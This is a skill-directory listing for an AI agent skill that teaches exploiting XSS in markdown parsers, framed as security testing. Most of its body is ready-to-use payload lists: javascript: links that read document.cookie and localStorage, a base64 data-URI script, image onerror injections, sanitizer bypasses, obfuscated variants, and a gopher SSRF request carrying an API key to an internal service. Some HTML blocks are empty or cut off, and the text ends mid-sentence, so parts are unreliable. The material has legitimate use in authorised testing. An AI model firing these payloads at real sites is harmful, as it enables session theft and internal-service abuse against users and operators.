# Xss In Markdown > How to find and exploit XSS vulnerabilities in Markdown parsers. Use this skill whenever the user mentions XSS in markdown, markdown injection, markdown XSS payloads, testing markdown fields for cross-site scripting, or any security testing involving markdown rendering. This includes situations where users need to test markdown input fields, understand markdown XSS vectors, or enumerate markdown parser vulnerabilities. - Skill: `abelrguezr/xss-in-markdown` (Agent Skill, multi-file: 2 files) - Install (CLI): `npx skillmds@latest add abelrguezr/xss-in-markdown` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xss-in-markdown/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-10 - Page: https://skillmd.com/skills/abelrguezr/xss-in-markdown --- # XSS in Markdown When you have the ability to inject code in markdown, there are several techniques to trigger XSS when the code gets interpreted by markdown parsers. ## Attack Vectors ### 1. HTML Tag Injection The most common way to get XSS in markdown is to inject HTML tags that execute JavaScript, since many markdown interpreters accept HTML: ```html

``` **When to use:** Test these first when you have raw markdown input. They work on most unfiltered markdown parsers. ### 2. JavaScript Links If HTML tags are blocked, try markdown link syntax with JavaScript protocols: ```markdown [a](javascript:prompt(document.cookie)) [Basic](javascript:alert('Basic')) [LocalStorage](javascript:alert(JSON.stringify(localStorage))) [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive')) [URL](javascript://www.google.com%0Aalert('URL')) [InQuotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` **When to use:** When HTML tags are filtered but markdown links are allowed. The spaced-out `j a v a s c r i p t` variant can bypass simple filters. ### 3. Image Event Syntax Abuse Exploit markdown image syntax with event handlers: ```markdown ![Uh oh...](<"onerror="alert('XSS')>) ![Uh oh...](` can help escape and inject event handlers. ### 4. HTML Sanitizer Bypasses When the application sanitizes HTML before passing it to the markdown parser, exploit misinterpretations between the sanitizer and markdown parser: ```html

----------------------------------------------- yep ------------------------------------------------ [x](y '

``` **When to use:** When you detect HTML sanitization (like DOMPurify) before markdown parsing. These payloads exploit the order of operations. ### 5. Gopher Protocol Use gopher to send arbitrary requests to internal services: ``` ![pwn](gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1:1337%0D%0Ax-api-key:%20934caf984a4ca94817ead87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A) ``` **When to use:** For SSRF attacks when you need to make requests to internal services through the markdown renderer. ### 6. Encoding and Obfuscation Bypasses Various encoding techniques to bypass filters: ```markdown [a](javascript:alert(1)) [a](Javascript:alert(1)) [a](Javas%26%2399;ript:alert(1)) [a](javascript:confirm(1) [a](javascript://www.google.com%0Aprompt(1)) [a](javascript://%0d%0aconfirm(1);com) [a](javascript:window.onerror=confirm;throw%201) [a](javascript:new%20Function`al\ert\`1\``;) ``` **When to use:** When basic payloads are filtered. Try HTML entities, URL encoding, and case variations. ## Testing Methodology 1. **Start simple**: Test basic `